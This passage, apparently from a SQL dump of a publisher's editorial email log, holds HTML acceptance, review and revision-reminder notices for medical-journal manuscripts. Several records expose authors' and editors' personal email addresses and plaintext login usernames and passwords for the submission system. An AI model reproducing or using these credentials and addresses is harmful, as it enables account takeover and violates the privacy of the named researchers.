publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-07-15</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','cristina.martinezavila@gmail.com',8513,'2021-07-16',85),(3455,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-9331</b><br />\r\n            <br />\r\n            Article Title: <b>A septic shock and multi-organ-failure case due to mediterranean spotted fever</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Larne</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-07-15</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','damianolarne@yahoo.it',9331,'2021-07-16',48),(3456,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-9251</b><br />\r\n            <br />\r\n            Article Title: <b> SARS-CoV-2 post vaccination disease infection tracking: Breakthrough cases in Pakistan</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Aaysha Tariq</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Biomedical Sciences</b><br />\r\n            <br />\r\n            Dear Dr. <b>Shekhar</b><br />\r\n            <br />\r\n            The review for the manuscript <b>ipjbs-21-9251</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Completed Review','sekharsudhansu@hotmail.com',9251,'2021-07-16',988),(3457,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-9251</b><br />\r\n            <br />\r\n            Article Title: <b> SARS-CoV-2 post vaccination disease infection tracking: Breakthrough cases in Pakistan</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jbiomeds.com/\" target=\"_blank\">Journal of Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Tariq</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-07-16</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','aaysha1972@hotmail.com',9251,'2021-07-16',988),(3458,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-9034</b><br />\r\n            <br />\r\n            Article Title: <b>CEREBELLAR AND HYPOCAMPAL CHANGES INDUCED BY LEAD IN WISTAR RATS: THE ROLE OF OCIMIUM GRATISSIMIUM LEAVES EXTRACT.</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Augustine Ibegbu</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Biomedical Sciences</b><br />\r\n            <br />\r\n            Dear Dr. <b>Shekhar</b><br />\r\n            <br />\r\n            The review for the manuscript <b>ipjbs-21-9034</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Completed Review','sekharsudhansu@hotmail.com',9034,'2021-07-16',988),(3464,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-9034</b><br />\r\n            <br />\r\n            Article Title: <b>CEREBELLAR AND HYPOCAMPAL CHANGES INDUCED BY LEAD IN WISTAR RATS: THE ROLE OF OCIMIUM GRATISSIMIUM LEAVES EXTRACT.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jbiomeds.com/\" target=\"_blank\">Journal of Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Ibegbu</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-07-19</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','aoibegbu@yahoo.com',9034,'2021-07-19',988),(3465,'<p>Ref.:  Ms. No. : <b>ipaom-21-8594</b><br />\r\n<br />\r\nARTICLE TITLE: <b>SOCIAL DISPARITIES:  HEALTH CARE  OF THE AFRO-BRAZILIAN POPULATION: SYSTEMATIC REVIEW</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Rolim Neto</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-21-8594</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>modesto_leite</b><br />\r\npassword: <b>aVNPWHQq</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','modesto.neto@ufca.edu.br',8594,'2021-07-19',85),(3468,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-8864</b><br />\r\n            <br />\r\n            Article Title: <b>Protective Role of Virgin Coconut Oil against adverse effects of Atrazine toxicity on glucose and oestradiol metabolism in male wistar rats</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Elemi John Ani</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Biomedical Sciences</b><br />\r\n            <br />\r\n            Dear Dr. <b>Shekhar</b><br />\r\n            <br />\r\n            The review for the manuscript <b>ipjbs-21-8864</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Completed Review','sekharsudhansu@hotmail.com',8864,'2021-07-20',988),(3469,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-8864</b><br />\r\n            <br />\r\n            Article Title: <b>Protective Role of Virgin Coconut Oil against adverse effects of Atrazine toxicity on glucose and oestradiol metabolism in male wistar rats</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jbiomeds.com/\" target=\"_blank\">Journal of Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Ani</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-07-19</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','expensivetiti@yahoo.co.uk',8864,'2021-07-20',988),(3473,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-9410</b><br />\r\n            <br />\r\n            Article Title: <b>What is Research on Medicines Why it was Important to us?</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Surya vivek</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Biomedical Sciences</b><br />\r\n            <br />\r\n            Dear Dr. <b>Shekhar</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjbs-21-9410</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> sudhanshu<br />\r\n            <b>Password:</b> XjaPr9HC<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','sekharsudhansu@hotmail.com',9410,'2021-07-20',988),(3474,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-9410</b><br />\r\n            <br />\r\n            Article Title: <b>What is Research on Medicines Why it was Important to us?</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jbiomeds.com/\" target=\"_blank\">Journal of Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>vivek</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-07-20</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','svik@gmail.com',9410,'2021-07-20',988),(3475,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-9409</b><br />\r\n            <br />\r\n            Article Title: <b>Hydrophilic coatings for biomedical applications </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jbiomeds.com/\" target=\"_blank\">Journal of Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Chan</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-07-20</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','Chan@gmail.com',9409,'2021-07-20',988),(3484,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-9160</b><br />\r\n            <br />\r\n            Article Title: <b>Measures of Efficacious COVID-19 vaccine</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Chakrabartty</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-07-21</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','chakrabarttysatyendra3139@gmail.com',9160,'2021-07-22',48),(3486,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-9233</b><br />\r\n            <br />\r\n            Article Title: <b>GUILLAIN BARRE VS MIASTENIA GRAVIS AS AN ATYPICAL PRESENTATION OF SARS COV 2 BY MOLECULAR MIMIC: PURPOSE OF A CASE</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>MONTERO GONZALEZ</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-07-22</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','drjesusmontero@gmail.com',9233,'2021-07-22',1045),(3488,'<p>Ref.:  Ms. No. : <b>ipadm-21-9235</b><br />\r\n<br />\r\nARTICLE TITLE: <b>RUPTURA DE MULTIPLES ANEURISMAS CEREBRALES ASOCIADO A SINDROME DE SJ&Ouml;GREN SECUNDARIO. REPORTE DE UN CASO</b><br />\r\n<br />\r\nJOURNAL: <b>Archivos de Medicina</b><br />\r\n<br />\r\nDear <b>Dr. Saenz Lopez</b>,<br />\r\n<br />\r\nThe revision of <b>ipadm-21-9235</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>jose_david</b><br />\r\npassword: <b>jZav5vGy</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></p>',1,'Author Revision Subsequent Reminder','josedsaenzlopez@hotmail.com',9235,'2021-07-22',274),(3489,'<p>Ref.:  Ms. No. : <b>ipadm-21-8837</b><br />\r\n<br />\r\nARTICLE TITLE: <b>S&Atilde;NDROME CORONARIO AGUDO SECUNDARIO A ENFERMEDAD DEL TRONCO CORONARIO IZQUIERDO</b><br />\r\n<br />\r\nJOURNAL: <b>Archivos de Medicina</b><br />\r\n<br />\r\nDear <b>Dr. Gomez Asis</b>,<br />\r\n<br />\r\nThe revision of <b>ipadm-21-8837</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>jose_isidro</b><br />\r\npassword: <b>uJYEbmQn</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></p>',1,'Author Revision Subsequent Reminder','juancho251997@hotmail.com',8837,'2021-07-22',274),(3493,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-8838</b><br />\r\n            <br />\r\n            Article Title: <b>AC-SDKP COMO MECANISMO PROTECTOR ANTE LA ENFERMEDAD VALVULAR AORTICA FIBROCALCICA</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivosdemedicina.com/\" target=\"_blank\">Archivos de Medicina</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Gomez Asis</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archivos de Medicina</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-07-22</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@journalinvoice.com\">accounting@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','articulodeinvestigacion1@gmail.com',8838,'2021-07-23',274),(3494,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-9276</b><br />\r\n            <br />\r\n            Article Title: <b>Impact of COVID-19 on Pharmaceutical Industry: Status of Clinical Trials and Mitigation Strategies</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Aseel Bin Sawad</b><br />\r\n            <br />\r\n            Journal Title: <b>Archivos de Medicina</b><br />\r\n            <br />\r\n            Dear Dr. <b>Tavares S&aacute;nchez</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipadm-21-9276</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> francisco_jos&eacute;<br />\r\n            <b>Password:</b> Ljrcav33<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','dr.tavaressanchez@gmail.com',9276,'2021-07-23',274),(3495,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-9276</b><br />\r\n            <br />\r\n            Article Title: <b>Impact of COVID-19 on Pharmaceutical Industry: Status of Clinical Trials and Mitigation Strategies</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivosdemedicina.com/\" target=\"_blank\">Archivos de Medicina</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Bin Sawad</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archivos de Medicina</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-07-22</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@journalinvoice.com\">accounting@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','aseel_post@hotmail.com',9276,'2021-07-23',274),(3496,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-9381</b><br />\r\n            <br />\r\n            Article Title: <b>Surgical management of a vascular complication in a pediatric patient with Kawasaki-like disease due to association of SARS-CoV-2 and Dengue. Case presentation.</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Rodrigo Argotti</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear 